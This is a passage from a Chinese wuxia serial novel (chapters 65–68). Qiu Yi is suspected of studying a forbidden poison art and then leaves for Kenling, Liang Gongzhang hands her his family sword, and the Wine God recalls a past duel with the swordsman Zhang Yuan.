朱阳王妃叫来轩辕夏,打开适才从马背上取下的褡裢,取出一顶素银冠,在儿子头上比了比,又将手抚在他额间,指腹轻擦着他的额发,目光依依。
朱阳王和和笑道道,“阿夏生辰将至,我和王妃是想请功长为阿夏行及冠礼。”
一抹怅惘、感动的神情浮在梁功长的脸上,他轻轻摇了摇头,“这怎使得?阿夏父母俱在,又是王府世子,怎么论,也不该我为他行这及冠礼。”
面纱下朱唇轻咬,朱阳王妃眸光烈烈视向朱阳王。
朱阳王解释道,“功长你亦是名门之后,若真细论,由你来为小儿及冠,反倒是小儿的荣光。”
轩辕夏眉头一拢,“爹,及冠礼都是二十整岁时行的,孩儿如今才十八而已,急什么?。”
朱阳王缓缓将头转向王妃,他虽为夫君,但确是个将三从四德做到极致的男人。大小细事皆与王妃商议不说,与独子有关的,不仅全然以王妃之意为尊,还十分顾及儿子。
见王妃仍是一脸执意,朱阳王回道,“算上娘怀你的一年,也快满二十了。”
轩辕夏不甚当回事道,“若是按爹的说法,岂不是人人都平白添了一岁。”
朱阳王噎住似的看向惯溺的儿子,不知该如何出言,让儿子接受。
朱阳王妃一时也没了主意,将目光柔柔地落到邱怡身上,她知道,邱怡总有办法说服自己的儿子。
邱怡意会到朱阳王妃的眼神,用着一态轻松的口吻说道,“小五,要是你真的一点也不急,二十及冠确实不迟。”
轩辕夏不以为意道,“我有什么可急的。”
邱怡眸光流向田雨萝,“及冠后才可议亲,你当真一点也不急吗?”
轩辕夏呆住了,小心翼翼将视线挪向田雨萝,见她也被邱怡的话羞红了面。又转向爹娘,支支吾吾恨不能收回刚刚的话。
65. 心比金 坚且定
朱阳王不可思议望向邱怡,心想,王妃说的不错,这位姑娘点子确实多,只一句话就将阿夏说得服服帖帖。再度问道,“阿夏,爹娘再问你一遍,要不要行及冠礼?”
“行,行,行。”轩辕夏连声痴语道。
朱阳王笑叹不矣,又向梁功长询问,“功长,一切就有劳你了。”
梁功长一听事关轩辕夏婚姻大事,回道,“恭敬不如从命。”
朱阳王妃柔柔笑了起来,看着田雨萝道,“田姑娘,我与阿夏就将回凤临了,你可愿先随我们先回凤临小住一阵,适应了凤临水土,我们再带阿夏去拜见你的双亲。”
田雨萝心中欢喜,眼皮都要抬不住似的,本以为轩辕夏出自皇族,父母定是极为严苛,不想对自己真是这般平近。“好呀。”
朱阳王妃站起身,走到田雨萝身前,取下合欢簪来,珍珍凝望良久,又小心地将它插进田雨萝发髻间,说道,“这发簪本是一对,欢儿出生时,我送了她一支,今日,便将这支送你了,你可愿做我的女儿吗?”
田雨萝只觉轩辕夏母亲的手格外地柔,在她身边,心中说不出的暖意,再向她视去时,却见她眼底,漾起了莹光。
朱阳王看好事将成,满意地捋着须冲邱怡道,“来的路上,就听王妃夸赞姑娘,是既聪明又伶俐。”
邱怡嘴上客气应了句,“朱阳王见笑了。”腹内却诽道,果然,你还是三句离不开你那王妃的。
梁功长闻声也跟着夸道,“王爷,你是不知,欢儿若是个儿子,我必让他讨邱姑娘来做儿媳。”
邱怡心中又才念道,好呀你,不是想我做你干女儿就是想我做你儿媳。就听梁夫人又接话道,“做不成儿媳,收做义女也是极好的。”
梁功长赞许地点了点头,“邱姑娘,你若不嫌弃,就留在我夫妻身边,待老夫将这一身功夫传你,今后让你做我小次山掌门如何?”
梁功长并非一时得意忘语,在与邱怡相处的半年时间,发觉邱怡知书达礼,做事极有主见,尤其是教授剑法以来,她那领悟之速,足以令所有练过武的人都自惭形愧。
邱怡心头一紧,思考着该如何拒绝。
“太好了,邱姐姐,我一个人好是孤独,你留下陪我吧。”梁承欢亦拉起邱怡的手央求着。
邱怡抽回手,看到梁功长一家三口目光一人比一人殷切,默了片刻,才道,“欢儿,你也长大了,若是觉着山上的日子寂寞,也可以陪田姐姐一道去凤临看看呢。”
“凤临?”梁承欢稚声自语道。
邱怡轻阖眼帘,“是啊,你也可与田姐姐做个伴。到时让小五带你们在凤临城里逛逛,听说那边有很多在小次山上见不到的物事。”
田雨萝追声道,“好呀,承欢妹妹,要不要与我做个伴?”
“这——”梁承欢犹豫了起来,眼巴巴地望向梁功长。
梁功长也看得出,自邱怡和田雨萝到小次山后,女儿总是像个小妹妹似的黏着二位姐姐,好像跟着她们总有着说不完的话,跟与自己手底下男弟子相处时很是不一样,松口道,“想去便去吧。”
听到父亲的首肯,梁承欢桃花般的大眼睛一下子亮了起来,恨不能蹦出个三尺来高。“太好了,女儿多谢父亲。”
田雨萝也一脸悦色,向邱怡发出邀请,“邱姑娘,你也随我们一起去,好不好?”
邱怡轻摇起了头,面上倒是没惊起什么波澜,“我将回垦岭了,就不奉陪了。”
邱怡越是念着回垦岭,朱阳王妃就越是心忧,她重新地审向邱怡,问道,“你家乡是在垦岭何地?”
邱怡道,“万仞山。”
“万仞山?”朱阳王妃疑虑加重,又言道,“万仞山东西延横千里,具体是何处?”
邱怡凝视着朱阳王妃,心悬到了嗓眼儿。垦岭地处西域,对关内人而言,那里只是一片幅员辽阔的荒岭,或望不到尽头的绿野和沙漠。往往自己提到“万仞山”,多数人都以为那是一处譬如小次山这般的山头,无人会细询。
邱怡忖了下,“飞沙镇,在万仞山下。”
朱阳王妃进一步问道,“飞沙镇?你怎么会住在那里?”
邱怡神情微震,“是父亲带我到那里的。”
朱阳王妃更是像不准备放过邱怡似的,追问道,“你父亲因何要带你去飞沙镇?”
原本亲友相逢的喜悦氛围,早早被接二连三的发问凝固住了。
邱怡警惕了起来,“家父是隐士,天南海北,在哪里都不稀奇。”
朱阳王妃又问道,“你可听过幻阴血经吗?”
朱阳王和轩辕夏目色同时一震。
邱怡平静道,“没有。”
朱阳王妃又追了一句,“真的没有?”
邱怡垂下双眸,一时不知该如何回应。
轩辕夏看着一向温柔如水的娘亲如此反态,忙为邱怡说起了话,“娘,邱姐怎会和幻阴血经扯上关系?”
朱阳王对轩辕夏一副斥责语气,“阿夏,娘讲话不要插嘴。”
邱怡想着如何为自己洗清嫌疑,道,“幻阴血经可是和玄心奥义诀一般的内家功夫吗?”
朱阳王妃死死盯着她,直言道,“那是一门毒经,也是一门医经,总归不是什么武功。如果你学过,我是绝对不会让你回去垦岭的。”
邱怡脸上仍平静如湖,“夏先生,你连玄心奥义诀都没正经教过我,我哪有机会,去学什么高深的医术。”
朱阳王妃逼迫道,“把你的血给我看看。”
“血?”邱怡轻质了声。
朱阳王妃道,“学过幻阴血经的人,血色都异于常人,学成幻阴毒者,是为紫色,再往后,随着修行的精进,血色会愈发加深,直至紫黑色。我不能大意,快,让我看看你血的颜色。”
邱怡移开目光,“久闻高门贵妇有故出门,必遮其面。邱怡自知出身微末,不敢与您王妃之尊相较,但也不该无缘无故,便示身体发肤于人前吧?”
朱阳王一脸正色道,“王妃既问你,定是你有鬼祟之处,才会怀疑到你身上的。”
邱怡想也不想,“鬼祟?王爷是看我为小次山掌门夫人诊治鬼祟,还是看我在清农为王妃整理草木药经鬼祟?清农医者不止我一个,为什么
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偏要看我的血?”
朱阳王妃示意朱阳王切勿多言,而后向邱怡道,“没有人凭白怀疑你,你来自垦岭,这就是最大的疑点。若不是有大哥的遗言在,二哥是断断不会许一个垦岭人学习清农医术的。尤其是你,你学得实在太快了,快得好像天生是为此而来的。你越是这样,我们就越是担心。”
随着朱阳王妃的发难,梁功长更是意识到,邱怡那高得惊人的天赋,不仅是他一人有察,也不仅是在练武一事之上。
轩辕夏进步之速已胜旁人,但是邱怡,不仅能像轩辕夏那样,只消教过三两遍,就能提剑比来大致招式,更是能在极短的时间自悟出精要所在。
如不是她手间并无常年累月操使兵刃必会留下的茧痕,实难相信她此先从没摸过剑。正如朱阳王妃所讲,邱怡也好像就是为学武而生的一般。
邱怡道,“都道清农医者仁心善行,济世救人,幻言前辈说只有玄心奥义诀才能解我病症,先生和幻医正明知此事,不仅不遵着幻言前辈的遗言倾囊相授,反而提防我来?”
朱阳王妃道,“我和二哥虽没正经教过你,但你跟徐阳他们请教医理,在书阁翻看医书时,我们也没拦过你。清心丹虽不能根治你那无力症,但亦是对症之药,你若安心留在清农,定期服用清心丹,也毋需为此而愁。”
“难得我一辈子都只能靠清心丹活了吗?”
邱怡轻声吐出一句,语气十分不甘。
朱阳王妃回道,“我实在不能冒险,何况,即便我教了你,以你的心性,能学的,也只是皮毛,难以入境。”
“为什么?”邱怡问道,还是第一次听到人如此质疑自己的资质。
朱阳王妃迎着邱怡不理解的目光,“修炼玄心奥义诀,需要齐聚七情六欲,方能有成,我在你身上,看不到这些。”
邱怡唇角剧烈地抖动,内心更是滞地如一潭死水,原来自己的清心寡欲,是在与修炼玄心奥义诀背道而驰,难怪自己试了那么久,都无法随心催动这股内力。
朱阳王妃心中也像是有一根锥刺似的,“我知道,有的人天生就寡情绝爱,可没想到,你年纪轻轻,竟也是这样的人。”
邱怡道,“如此才能不困不惑。”
朱阳王妃神色中闪过一丝疲惫,“你是不困不惑了,但只会苦了爱你的人。”
邱怡轻哼一声。
朱阳王妃深深吸了一口气,看邱怡无甚愧歉,觉她坚定地可怕,清醒地可怕,“你没做过生身母亲,怎会理解父母对孩儿的期盼?”
邱怡凝眉思考了下,“原来先生指的是这件事,不错,是我做的。梁夫人宿疾,皆因生育而起,况且她年逾四十,早过孕育之年,我去其生育之能,是为救她。”
梁功长脸色一僵,心头巨颤之际,见叶婕闻耗几乎站不住了,一把托住了她。
朱阳王妃责道,“你倒是坦白,你知道什么是救吗?姐姐信任你,才将自己交由你医治,你呢?治她身体的时候,可有跟她言明,要毁其胞宫?你所作所为,名为行医,实是作恶。”
话音才落,堂内目光一齐朝邱怡注了去。
66. 张家有剑赠英雄
邱怡独来独往,惯以自作主张,心中又隐着这多秘密,哪里能禁此盘问。
梁功长竟回护道,“嫂夫人,邱姑娘同我提过此事,是我觉此法可行,才请邱姑娘如此医治的。还请嫂夫人不要迁怒于邱姑娘。”说完,不忘朝邱怡递过个眼神。
叶婕望着梁功长,眼眶发红发烫。
朱阳王妃难信道,“跟你说过?你,你竟还同意了?”
梁功长定定看了她片刻,冷静启齿道,“嫂夫人,邱姑娘绝非什么恶人。舜华便因难产而亡,我实不愿见同样的事再发生一次。”看着邱怡投来感谢的眼神,又道,“嫂夫人,我们不要错怪了她,将恩人当作是恶人。半年来,邱姑娘为内人侍奉汤药,晨昏定省,无不体贴。若她真有害人之心,何必多此一举?”
但看邱怡仍怏怏不语,轩辕夏也开口道,“是啊,娘,您别气坏了身子。”说着,也朝向邱怡挤出眼神,“邱姐,你就将你的血给我娘看一眼,就当是让她安个心吧。”
邱怡目色端重起来,“我虽未正式拜师清农学医,心中仍十分感念清农诸位解我危难,赠我清心丹之恩。清农诸位对我的防范,我也有察,但却未曾想过,竟是因我来自垦岭而起。哼,做个身清名洁的人,可真是难。“说后,便将头远远侧开,凝目中尽是不屑之色。
朱阳王妃眼波流转,“实不相瞒,从你到清农的第一天,二哥就对你有所怀疑,怀疑你是垦岭幻氏派来盗取玄心奥义诀的人。”
邱怡唇边浮起自嘲的笑意,幽幽念道,“身体发肤,受之父母,不敢毁伤。还请父亲在天之灵可以体谅女儿。”说罢,取下银簪,划向内腕,将一道鲜红的血痕展对众人,“可是看仔细了?”
朱阳王妃看到那抹正常的血色,戒心退去的同时,一股子愧疚与歉意涌了上来,忙上前要为她包扎腕伤。
可邱怡,却猛地将手抽了回,“区区小伤,不劳烦先生了。”
朱阳王妃视着腕间红痕,“这么深的一道口,怎会是小伤。”
邱怡沉声道,“我自己处理就好。”说着,擦去发簪上的血,取出帕子包扎起伤处。
朱阳王妃满是歉意道,“是我们多心了,这次回清农,我自会同二哥为你澄清,让他正式传你玄心奥义诀,助你解了身上的弱症。“
邱怡视线缓缓下移,默然片刻,又抬头看向朱阳王妃,“劳先生费心,比起留在清农被人施舍,我倒不如现在就回垦岭去来得自在。”
朱阳王妃再度追问道,“你为什么一定要回垦岭不可?”
邱怡想也不想回了句,“人各有志,起码在垦岭,从没有人怀疑过我是谁,更不会有人在意我是谁。”
朱阳王妃明白,邱怡想回垦岭的心,是十匹马也拉不回的。
邱怡道,“夏先生,我非有始无终之人,此先你命我整理的草本典籍,我已完成大半,待我回清农将余下的绘好,一并交给徐先生,就不回小次山同你复命了。江湖路远,后会无期。”说后,迎着众人诧异的眸光,走到梁功长身前,“梁掌门,保重!”
梁功长正欲拱手,双臂忽然僵住了,“邱姑娘,老夫送你下山。”
邱怡跟着出了小次山门,可梁功长却没有走去下山的方向,而是寻了条野径,带她去了后山。
二人迎风而立,山风满怀。
梁功长推敲良久,“邱姑娘,你为何如此想练玄心奥义诀?”
邱怡面色虽是沉静,但后脊却渗着悚寒。不久前,也是这样的场景,她曾与梁功长的儿子张司宇,在一处孤崖,就是靠着从容巧圜,逃过了张司宇的审判,但自己对玄心奥义诀流露出过分浓重的兴趣,她也是担心会败漏什么,才想着尽快离去,不想还是没能瞒过梁功长。
令梁功长意外的是,邱怡仍是静稳如常,似乎自己的话并未握准她的脉门。但很快,梁功长就确认自己的判断没有错,因为邱怡侧目瞬了自己一眼。
邱怡心中有种不祥的预感,惨然淡笑,“不是说了吗?我有先天隐疾,幻言前辈说,除了玄心奥义诀,无人能治好我。”
梁功长看了她一眼,“你留在云间也能练的,你一定要回垦岭,是有什么不得已的理由吧。”
邱怡回避着梁功长的视线,用着只二人可听到的声音,淡淡吐了一声,“是。”
“垦岭五匪,死的惨烈。”梁功长看邱怡仍是不言不语,继续道,“他们名为匪,但在垦岭百姓心中,却是神佛英雄。即使无牌无灵,现如今私下拜祭者,不在少数。当年垦岭派兵围剿,虽是受了皇命,但凤临也因此遭了天谴,一场天降时疫后,轩辕氏多子夭亡。你的血仇,老天已是帮你报了大半。”
邱怡哑然。
梁功长又开口道,“邱姑娘,你若执意要回到垦岭再去找当地官府复仇,没有真正的好功夫是绝对不行的。老夫为你演一套剑法,以你的悟性,必能从中领会一二。”
邱怡定定望着梁功长,看他走向一棵老槐树下,蹲下身刨着什么。不会儿后,从树底土坑中取出一柄长剑,先是锁眉凝视了会儿,而后,用着颤巍巍的动作扑掸起剑身泥土。
拔剑出鞘,凌空挽了一个剑花,如万点寒星倾洒而下,剑光霍霍,隐隐带有风雷之声,每一剑出,都霸道无比。
梁功长虽为照顾邱怡,放缓了剑速,若单以剑法论,他正比的这套剑法,比起之前教轩辕夏的,不知要胜出几许。
邱怡目不转睛地盯着梁功长游龙似蛟的剑招,她知道,这便是梁功长从未亮出的底牌功夫。从第一招“墨白问日”起,便认出来了,只是她没有想到,梁功长竟会将张家剑法传予自己。
铮地一声,收剑如鞘,剑身中还隐隐有着一种久别于世的嚎嚎之音。
梁功长留恋着手中长剑,又相了相邱怡,较之自己甚是平庸的弟子们,邱怡更配得上这柄剑,“邱姑娘,这四不剑跟了老夫半生,今日,老夫便将这把剑传给你了。”
邱怡淡淡道,“梁掌门,我可没说要留在你小次山,传剑于我是何意?”
梁功长面色悲怆,“老夫视你为知己,为传人,所谓传人,不是一定要留在小次山拜我为师,承我衣钵。我传你的,非小次山的剑法,今日传你剑法的人,也不是梁功长,只是一个无名无姓、无家无门的人罢了,也不必一定与你落得个师徒之名。”
“平心而论,我也不过是个无名无姓、无家无门的人罢了。”
梁功长向北而望,缓缓道出叔父张云冲教授自己张家剑法时,所授的训言,“天地浩气,长存于心,慎终承始,一以贯之。我虽离开白陵十几年了,但每日对自己的说的,都还是这十六个字。我可以欺人,却不能欺自己
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的心,我知道,只要我还记得这十六个字,我就忘不了张家,忘不了墨白城,忘不了那里的一切。”
在邱怡面前,梁功长可以肆无忌惮地亮出自己埋藏多年的四不剑,可以肆无忌惮地用出张家剑法,更可以肆无忌惮地做回张鸷。
邱怡沉默不语。她最是能感同身受,即使梁功长早已远离白陵的雪海与山川,但心中想着念着的,还是那些过往的岁月。
“邱姑娘,以你的聪慧,应是猜得出我这套是什么剑法,我这把剑又是来自何处的。”梁功长双目灼出了光,“慎终承始,可惜再无回头之日了。”
邱怡步到梁功长身后,一齐与他举目北望,心中说不出的酸楚,声音也有些发涩,“你有什么不能回头的?”
在默然片刻后,梁功长喟然长叹,“当年我离家后,家父一病不起。是我气得他老人家撒手人寰,张鸢定是容不下我这个不忠不孝的人。”梁功长明显停顿了下来,伴着一声嘲叹,无力道,“这把剑就是张鸢送我的,他送我时,说要我做一个英勇无畏的张家男儿。可到了小次山后,我却连面对这把剑的勇气都没有了,又如何还能再做回那英勇无畏的张家男儿?”
迎风而立,山风满怀,青衫袖襟猎猎作响,邱怡自嘲一笑,伸出一只手,“给我吧。”
梁功长见邱怡肯受四不剑,双手将剑递向她。
邱怡深审半晌,又将另只手递了出去,改换双手接下四不剑,对梁功长道,“张鸷,也许是你将事情想复杂了,也许陵侯他根本就没你想的那么无法面对。就像你,人人都道你是叛门之子,但你却很是清楚,这一切不过是场自导自演的荒唐戏而已。”
这是邱怡第一次没有尊称自己一句“梁掌门”,梁功长剑眉轻扬,一双哀眸突闪亮光,“我相信自己绝对没有看错人。”
邱怡目中一哀,握剑拱手道,“我从不白受人家的东西,听我一言,你可以回次墨白城,那里绝对有人可以帮到你,告辞。”
离开了风嚎的山端,邱怡下山回清农,连夜整理起甩尾的草本典籍。徐照见她白日一直伏在案边,不停地绘写,夜间起夜路过,她房内也亮着灯火……
两日后,她收拾出简单的行李,便去了药房,将书稿交予徐照后,就请了辞。徐照试着挽留,不想她好想早早打定什么决心似的,只道后会无期,连让徐照正经说几句话的机会都没给。
待邱怡再出清农医堂后,头上戴了一顶雪纱帏帽,透过白纱最后一眼回望,看清农堂前的海棠依是迎风招展,轻带缰绳,策马出了云间城。
随后青衫帏帽,纵着青马,背着被棉布裹得瞧不出模样的四不剑,奔向她心心念的垦岭大荒。
她带着很多隐秘来,带了很多心事走。用一声低吟的“后会无期”,告别了与云间城的一切不期而遇。
对林兮的深情,她无法报之以情,只能神迹悄悄地帮他谋划在白陵的安然无恙。对梁功长的有心相交,也因仇恨缠身,只能充当一位倾听者。
三月春来,三月春回,四年云间生活,缓缓落下帷幕。
自幻言伊始,接而遇到林兮和梁功长一家,将她那颗冰冷孤寂的心重新温暖了一遍。她知道,从将马头对向去垦岭的路时起,她将面对的,再不是这样温暖如春的岁月,甚至,连条回头的路,都没给自己预备下。
67. 竹间巷
柔山秀水,春光暖软,簌簌山花如揉散的碎彩,点缀人间。微风翩翩然吹落几瓣,一行马蹄穿向小次山下,朱阳王府的仪仗队列候立良久。
领头的二男三女,二长三少,说说笑笑,不亦乐乎。最开心的莫过梁承欢,不仅是第一次离开父母下山出玩,身旁还有一位善意爽朗的姐姐,和一位关怀周到的哥哥,所到的每一处,都散发着自由与欢快的新鲜气息。
凤临城的一座赫赫府第,门匾高悬“朱阳王府”四个金字,充满浪漫与显赫的气息。华贵的粉墙黛瓦被池水绕环,碧清明净,穿过镂空雕花的气派大门,四周奇木参天,鲜花细蕊浓淡相宜。以中线为轴,划出东西两园十二所,东园六所是主家居室书房,西园六处院落分作客居。
春风徐来,月白的纱帘随风而漾,落日熔金,古槐影映进屋内。
梁承欢仍对着一处处壮严奇观看呆惊呆。她望着朱阳王妃,不知该说些什么好,只是不时心叹,原来姨母的家是这样的漂亮。
朱阳王妃唤来二女,仍是柔着声线道,“欢儿,雨萝,我带你们去房间看看。”
就这样,梁承欢不知过了多少道青玉砌的回廊,被朱阳王妃领到了王府西处一名为“合欢苑”的朱楼前,门前成排规立的绿荫,形态高挑优雅,树冠展如伞状,被落晖照得是金光闪闪。五间清厦,三出游廊,镂空花窗正对着一排排合欢树,绿油如碧。
朱阳王妃腕袖掩面,纤指轻轻取下面纱,唇角连着眉梢倾笑。
二女一望而呆,朱阳王妃肤白细腻,赛比天人。
田雨萝不禁也相看起梁承欢,同为国色,却各存千秋,梁承欢更为娇俏,而年长的朱阳王妃则更为美韵。
朱阳王妃拉起田雨萝的手,目光依依而视,“雨萝,这处合欢苑是我最喜欢的院落,我打小就盼着有个女儿,好好地疼她爱她。可今日你与欢儿一起来了,无论将这处院落让给你们谁住,我这心里都觉着对不住另外一个。好在这里地方也够你们俩住的,你先与欢儿住下,如果不习惯,我再将趣石园收拾出来。”
田雨萝忙不更迭地摆手,慌里慌张地回道,“不会不会,我巴不得想和欢儿住的近些,”转又局促地环视起堂皇华室,喃喃连叹,“这样更好,更好。”
朱阳王妃哪知,田雨萝自进了朱阳王府起,时刻透着谨慎,生怕不小心露了怯。她还想着住进朱阳王府后,最好是大门不出,二门不迈,即使整日窝在房内,也被觉不识礼数来得要好。对朱阳王妃的安排不仅不觉得委屈,还反是欢喜住处能有梁承欢时刻的陪伴。
梁承欢和田雨萝,用了好些时日,才将朱阳王府内各院各所的路记熟。可过了些时日,她二人又觉得不是那般新鲜了,幸好轩辕夏也是个闲不住的,一日他拎着两坛子和一方食盒到了合欢苑。
“雨萝,欢儿,要不要随我去见见师父?”
话音才落,合欢苑门外刷刷冒出两身倩影。
轩辕夏带二女去了江王府上,听闻江王正在府上宴客,他倒熟门熟路穿出前厅,便向王府后处而去。
这一路,梁承欢更是惊呆眼,本以为朱阳王府已是宽敞无比,谁料,见过江王府后才知,朱阳王府不过是江王府邸的一处角落而已。走过不止多少道院落,看到一片绿丛。
风曳竹摇,绕进绿墙后,又是一条雅致的石径,两侧竹影成屏,尽头处有一竹屋,和外面的江王府邸宛如两界。
推门进后,一阵久弥不散的酒气袭来,一微须灰袍老者静坐于内,身负一大朱漆葫芦,微眯双眼,侧颊棱角分明。
轩辕夏走到老者面前,奉上双手,“师父。”
“香得生怪。”老者说话间,取下背上的红葫芦。
轩辕夏接来葫芦,拔开塞头,将粉瓷细琢坛的酒倒入葫芦,酒香四溢。不急他盖回塞头,老者便一把夺过葫芦,咕嘟咕嘟地喝了起来。
梁承欢从见了那个粉瓷坛子,就对里面的酒水充满好奇,看着老者滚滚的喉结,嗅着那津甜酒味,她不自觉咽了咽口水。
田雨萝则将菜肴放到老者身旁侧桌,摆好碗箸,田雨萝随后扯下一条鸡腿递到老者眼前,“酒神前辈,请用。”
醉清风识得田雨萝,“前不久你师父来过,说她要跟郑老头回衔门了。”
田雨萝道,“是,我也见过师父和师公了,我还是头次见到师父那么不一样。”
醉清风道,“素娘啊,她不喜欢被人拿主意。”
田雨萝正要回应着,听在屋内找了一圈的轩辕夏突然道,“师父,师妹呢?”
醉清风撇了撇头,“她也走了,都走大半年了。”
轩辕夏好像被什么吓到似的,“她,她,她去?”
醉清风点了点头,“蛮蛮呀,这孩子孝顺是孝顺,可她的心思啊,也真是不在这儿。”
轩辕夏气恼地拍着脑袋,“都怪我。”
“人又不是你勾走的,怪你什么?”
轩辕夏道,“我去云间,就该带上她去,好生盯住了她。”
醉清风目中一忍,“当初,要留下来照顾我的是她,要跟着那臭小子去的,也是她。”
田雨萝不知二人在打什么哑谜,只听轩辕夏在耳边说了一句,两眼唰地瞪圆了,难信望向轩辕夏。
“老爷爷,夏哥哥给您的是什么酒,我闻着还怪香的。”
梁承欢凑上前问道。
醉清风瞟去一眼面前少女,甚是美貌,黄衫挂着各式各样小巧银件,盯着酒坛打量的模样像极偷偷下凡的小仙娥,“小娃娃,你也喝得吗?”
梁承欢轻咬下唇点起头来,眨动着辉亮的俏眸。
醉清风随手一丢,“你拿去吧,酒是不错,但老头子喝来太嫩了。”
轩辕夏惊足了眼,从来都是见师父讨酒喝,这大大方方将酒让出去的情形,还是头次瞧见。尤其这酒,据说还是爹娘成婚时,御赐的椒殿白头。往年,只有他生辰当日,爹才舍得取出一坛来。
梁承欢摩挲着酒葫芦,轻轻抿了一口,那酒不仅不呛辣,还很是甘醇,尤是过喉下肚后,口中竟浮动着甜芳。她啧了啧舌,好像不尽兴似的,直接一扬脖,吨吨喝了起来。
醉清风呵呵阔笑起来,抄起另一青瓷坛,揭去盖布,大口畅饮。手指向桌侧席座,“小娃娃,好酒配好菜。”醉清风撕下块儿鸡肉递了去。
梁承欢顺势坐下,徒手抓来,一面吃,一面好奇道,“老爷爷,这酒好生奇妙,我怎从未喝过?”
醉清风放下酒坛,腕
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掌将挂在唇际的几滴抹进口中。“除去凤门,外面是见不着这椒殿白头的。就是将朱阳王府全府的合欢花统统采来酿,所得也不过这一小坛,还不要提这间需得等上七八年的光景。”
田雨萝眼睛一亮,心想,难怪我没瞧出来,原来是凤门三饮之一的椒殿白头。
梁承欢闻听此酒珍贵少见,直着喉咙灌下去,灌完后,“真是痛快,夏哥哥,你家还有没有?”喝得又急又快,连呼出的鼻息也夹着一股酒甘。
轩辕夏看着梁承欢,她虽未细品珍酒,但大口酣畅的喝法路子确是十分对醉清风的心思,“还有些在。”又随口向醉清风问道,“师父,何人在五哥府上做客?”
醉清风道,“张鸢的公子,张天作。”
话音才落,酒神只觉得眼前三个年轻人光亮的眼神,像是自己看到百年窖藏的陈酒似的,齐刷刷被他这句话提足了精神头儿。
“他在五哥府上?”
梁承欢醉眼微睁,呓语道,“谁?张,天,作?”
醉清风点了点头,“是啊,我懒得跟他们去盘肠子,就没过去。眼下,他们应还在八角厅。”
梁承欢道,“夏哥哥,你肯定猜不到,他也是我的哥哥啊。”
醉清风叹笑了下,只当她酒后胡言,“小娃娃,别怪老头子没提醒你。江湖是江湖,庙堂是庙堂,他们都觉自己尊贵着呢,你当有几个,能像朱阳王妃那般好相与的?”
轩辕夏看着神色迷离的梁承欢,忙道,“师父,您这酒神可是和剑仙齐名的。就是真打不过人家,也不兴这么在背后说人家。”
醉清风就着酒菜,眸光一沉,陷入回忆的深潭。
当年他学成下山,接连在南洋与江邑崭露头角,而后听闻东都燕山的碧落飞魂枪玄妙,便顺着津化、东海一路扬刀直向燕山。在燕山等了近三个月,终于将拜贴送到了燕山齐远峰处,虽与他难分高下,但也打得畅快。
又转路到云间,道听这二年江湖上冒出一位张姓剑侠,年方十七,自称来自北地白陵的,剑法很是出众。
便北上去白陵寻人,半年都未见到踪影,到白陵城一打听才知,他要寻得人早已不在白陵,他又问张剑侠去了何处,那人说他当年七月时定会去到凤临。
他算准日期,到凤临城外守株待兔,偶遇在南越时结识的楚家公子楚堂和一负琴提剑的男子。
二人攀谈之际,他告知楚堂自己到凤临来,是要寻一位姓张的白陵剑客。
楚堂听过他一路经历,哄然大笑,指向身旁白衣玄带的英气男子,说,“醉大哥,你要找的人,姓张名鸢,自号素衣,远在天边,近在眼前。”
醉清风随之畅笑,对着那仪表堂堂的男子打趣道,“张老弟,你可是让我好找。”
张鸢凤眸一审,“不迟不迟,时机正好。”
“还不快让我看看你的家伙。”
张鸢不疾不徐道,“醉兄,你找我一路也是辛苦。我与楚大哥正要投店,你何不跟我二人同行,待酒足饭饱,休息够了,再痛痛快快大战一场如何?”
“好,楚堂老弟,我知你不差这一金半银,我得好好吃你几顿酒,补一补这半年受的罪来。”
说罢,便随二人向跃然楼而去。
68. 经年回梦
醉清风的记忆中,张鸢不仅有着一身好武艺,见闻也是震古越今,各地风土人情皆能款款道来。楚堂更是豪气霄汉,知他好酒,在凤临那几日,每日都掏一锭金子给到跃然楼掌柜拿酒,早将贵族文驺作派一扫而去。
他三人或是抚琴畅饮,或是纵马凤临,虽未比试,但醉清风也觉是说不出的自在与快活,竟担心起来,一旦真比试过后,自己也就没理由留在这二人身旁。
终于,在马至拜凤坡时,张鸢刷地亮出长剑,醉清风以刀迎削,二人打得性发。张鸢一剑既出,随之剑势源源而倾,每一剑不仅劲力充沛,更是随身而动,人、剑仿是合为一体。
两人在拜凤坡翻翻滚滚剧斗半日,醉清风都找不得张鸢一丝破绽,反是被他牵住。张鸢缠过醒风刀,长剑直向胸膛,醉清风避无可避,甘拜下风,随即便上马调头。
却听楚堂长声突喝,“醉大哥,凤临的酒还没喝遍,怎就要走?”
张鸢收着剑的功夫,也半玩笑地问道,“醉兄,有没有兴趣随我兄弟二人在凤临江头再喝个七天七夜?”
醉清风跳身下马,首肯心折。
相处数日,若不是楚堂酒后话多,他根本想不到,张鸢竟时白陵君侯的长公子,与楚堂一样同是望族之后。
醉清风瞥了瞥眼,“张鸢,就是站到我面前,我也说得。”说着,轻嗤了下,“我认识的人,自始至终都是白陵剑客、素衣剑仙,张鸢。”
轩辕夏想了想,摸着后脑道,“不都是同一个人吗?”
醉清风掬碗一捧饮下,“不一样的。你看张鸢,他走了十多年江湖,最后娶回家的,不也是官家的贵小姐吗?那年,我听说他已在江邑娶妻生子,就送了拜帖去向他道喜。也是隔了许久,才见到他人的,他一听我要与他比武,就命人取来一坛酒和一个铜盆,说今日无论胜负如何,他都将以酒做水金盆洗手,自此封剑,不再问江湖事。”
醉清风叹了一口长长的酒气,“他洗过手后,就与我将那盆酒分饮而尽,那是老头子这辈子喝得最苦的一口酒。”醉清风抹了抹囤在眼窝子的清泪,“那口酒后,我也觉出自己没什么对手了,既喝了他的洗手酒,索性归隐得了。”
醉清风又就着菜,一碗一碗喝了起来。
日落风轻,竹影飘曳。
轩辕夏和田雨萝带着醒过酒的梁承欢出了醉川斋。
走没多久,看着几位衣饰贵重的男子迎面走来。
轩辕夏率先招呼道,“五哥。”
江王笑意浅浅道,“阿夏,来,我介绍你们认识一下。”
轩辕夏摆起手,视着张天作笑道,“已经认识过了。”
江王目中一喜,好像很愉悦的样子,回过头看向张天作,“哦?天作兄认得我夏弟?”
张天作微微欠了欠头。
对着那金风玉相的温润公子,梁承欢不由打量了起来。
轩辕夏上前,道,“张天作,我们还真是有缘呀。前不久才在江心学宫见过,不想又在凤临碰了面。”
张天作温温笑道,“确是有缘。我与田姑娘在江心学宫同待了三年,都未说上几句话,不想却能和世子殿下一而再、再而三地——。”
话未讲完,张天作就骤地停了下来,寸目不移地向轩辕夏身后看去,眼底闪着极为震惊的神色。
江王察出不对,因为此时此刻,楚英和陈雅安也正向那处投出一样的目光。
